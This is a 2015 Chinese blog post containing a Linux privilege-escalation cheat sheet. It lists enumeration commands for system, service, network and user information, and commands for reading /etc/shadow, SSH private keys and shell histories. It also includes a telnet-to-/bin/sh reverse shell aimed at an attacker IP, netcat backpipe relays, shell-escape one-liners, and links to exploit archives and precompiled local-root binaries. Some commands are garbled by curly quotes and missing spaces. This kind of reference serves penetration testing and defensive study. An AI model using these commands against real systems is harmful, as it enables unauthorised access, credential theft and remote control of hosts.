注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

 
 
 
 
 

日志

 
 

Linux系统信息收集常用命令  

2015-07-25 15:02:33|  分类: Linux |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

(Linux)的提权是怎么一回事:

收集 – 枚举,枚举和一些更多的枚举。
过程 – 通过数据排序,分析和确定优先次序。
搜索 – 知道搜索什么和在哪里可以找到漏洞代码。
适应 – 自定义的漏洞,所以它适合。每个系统的工作并不是每一个漏洞“都固定不变”。
尝试 – 做好准备,试验和错误。

系统类型

系统是什么版本?

cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release
cat /etc/redhat-release

内核是什么版本?

cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz

有什么环境变量里?

cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set

是否有打印机?

lpstat -a

应用与服务

正在运行什么服务?具有什么用户权限?

ps aux
ps -ef
top
cat /etc/service

哪些进程具有root的权限?再次检查这些进程/程序看起来是否有漏洞!

ps aux | grep root
ps -ef | grep root

安装了哪些应用程序?他们是什么版本?哪些是当前正在运行的?

ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/

Service设置,有错误配置吗?

cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk ‘$1 ~ /^.*r.*/

主机上有哪些工作计划?

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

主机上可能有哪些文本保存用户名和密码?

grep -i user [filename]
grep -i pass [filename]
grep -C 5 “password” [filename]
find . -name “*.php” -print0 | xargs -0 grep -i -n “var $password” # Joomla

通信与网络

NIC(s),系统有哪些?它是连接到哪一个网络?

/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network

网络配置设置是什么?网络中有什么样的服务器?DHCP服务器?DNS服务器?网关?

cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname

其他用户与主机的通信?

lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig –list
chkconfig –list | grep 3:on
last
w

缓存?IP/或MAC地址?

arp -e
route
/sbin/route -nee

数据包可能嗅探吗?

# tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]
tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21

你如何得到一个shell?如何与系统进行交互?

# http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/
nc -lvp 4444 # Attacker. 输入 (命令)
nc -lvp 4445 # Attacker. 输出(结果)
telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # 在目标系统上. 使用 攻击者的IP!

如何端口转发?(端口重定向)
# rinetd

# http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch

# fpipe

# FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]
FPipe.exe -l 80 -r 80 -s 80 192.168.1.7

#ssh

# ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]
ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Port
ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port

#mknod

# mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe
mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe # Port Relay
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080)

mknod

backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc
localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080)

怎么样建立隧道来远程发送命令?

ssh -D 127.0.0.1:9050 -N [username]@[ip]
proxychains ifconfig

秘密信息和用户
哪个id登录?谁已经在线?用户权限可以做什么?

id
who
w
last
cat /etc/passwd | cut -d: # List of users
grep -v -E “^#” /etc/passwd | awk -F: '$3 == 0 { print $1}’ # List of super users
awk -F: ‘($3 == “0”) {print}' /etc/passwd # List of super users
cat /etc/sudoers
sudo -l

可以找到什么敏感文件?

cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/

什么有趣的文件在home/文件夹里?

ls -ahlR /root/
ls -ahlR /home/

查找密码,脚本,数据库,默认配置文件或日志文件

cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg

用户做过什么?是否有密码?history?

cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history

可以找到什么用户信息

cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root

private-key 信息能否被发现?

cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

文件系统

哪些用户可以写配置文件在/etc/目录?并且能够重新配置服务?

ls -aRl /etc/ | awk ‘$1 ~ /^.*w.*/’ 2>/dev/null # Anyone
ls -aRl /etc/ | awk ’$1 ~ /^..w/’ 2>/dev/null # Owner
ls -aRl /etc/ | awk ‘$1 ~ /^…..w/’ 2>/dev/null # Group
ls -aRl /etc/ | awk ’;$1 ~ /w.$/’ 2>/dev/null # Other
find /etc/ -readable -type f 2>/dev/null # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone

在/ var /有什么可以发现?

ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases

网站上的任何隐藏配置/文件?配置文件与数据库信息?

ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/

有什么在日志文件里?(帮助到“本地文件包含” ?)

# http://www.thegeekstuff.com/2011/08/linux-var-log-files/
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/
#

auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info,

mail.log, mail.warn, messages, syslog, udev, wtmp(有什么文件?log.系统引导……)

如果命令限制,你如何突破它的限制?

python -c ‘import pty;pty.spawn(“/bin/bash”)’
echo os.system(‘/bin/bash’)
/bin/sh -i

如何安装文件系统?

mount
df -h

是否有挂载的文件系统?

cat /etc/fstab

什么是高级Linux文件权限使用?Sticky bits, SUID 和GUID

find / -perm -1000 -type d 2>/dev/null # Sticky bit – Only the owner of the directory or the owner of a file can delete or rename here
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) – run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) – run as the owner, not the user who started it.
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID
for i in `locate -r “bin$”`; do find $i ( -perm -4000 -o -perm -2000 ) -type f 2>/dev/null; done #
Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin,
/usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID
(Quicker search)
#
findstarting at root (/), SGIDorSUID, not Symbolic links, only 3
folders deep, list with more detail and hideany errors (e.g. permission
denied)
find/-perm -g=s-o-perm -4000! -type l-maxdepth 3 -exec ls -ld {} ;2>/dev/null

在哪些目录可以写入和执行呢?几个通用的目录:/ tmp目录,/var / tmp目录/ dev /shm目录

find / -writable -type d 2>/dev/null # world-writeable folders
find / -perm -222 -type d 2>/dev/null # world-writeable folders
find / -perm -o+w -type d 2>/dev/null # world-writeable folders
find / -perm -o+x -type d 2>/dev/null # world-executable folders
find / ( -perm -o+w -perm -o+x ) -type d 2>/dev/null # world-writeable & executable folders
Any “problem” files?可写的的,“没有使用”的文件
find / -xdev -type d ( -perm -0002 -a ! -perm -1000 ) -print # world-writeable files
find /dir -xdev ( -nouser -o -nogroup ) -print # Noowner files

准备和查找漏洞利用代码
安装了什么开发工具/语言/支持?

find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc

如何上传文件?

find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp

查找exploit代码

http://www.exploit-db.com

http://1337day.com

http://www.securiteam.com

http://www.securityfocus.com

http://www.exploitsearch.net

http://metasploit.com/modules/

http://securityreason.com

http://seclists.org/fulldisclosure/

http://www.google.com

查找更多有关漏洞的信息

http://www.cvedetails.com

http://packetstormsecurity.org/files/cve/[CVE]

http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]]http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]

http://www.vulnview.com/cve-details.php?cvename=[CVE]]http://www.vulnview.com/cve-details.php?cvename=[CVE]

(快速)预编译二进制代码文件

http://tarantula.by.ru/localroot/

http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/

找exploit很难吗?

使用第三方脚本/工具试试吧!

系统怎么打内核,操作系统,所有应用程序,插件和Web服务的最新补丁?

apt-get update && apt-get upgrade
yum update

服务运行所需的最低的权限?

例如,你需要以root身份运行MySQL?

能够从以下网站找到自动运行的脚本?!

http://pentestmonkey.net/tools/unix-privesc-check/

http://labs.portcullis.co.uk/application/enum4linux/

http://bastille-linux.sourceforge.net

(快速)参考链接

http://www.freebuf.com/articles/system/23993.html

http://www.0daysecurity.com/penetration-testing/enumeration.html

http://www.microloft.co.uk/hacking/hacking3.htm

http://jon.oberheide.org/files/stackjacking-infiltrate11.pdf

http://pentest.cryptocity.net/files/clientsides/post_exploitation_fall09.pdf

http://insidetrust.blogspot.com/2011/04/quick-guide-to-linux-privilege.html

  评论这张
 
阅读(87)| 评论(0)
推荐

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017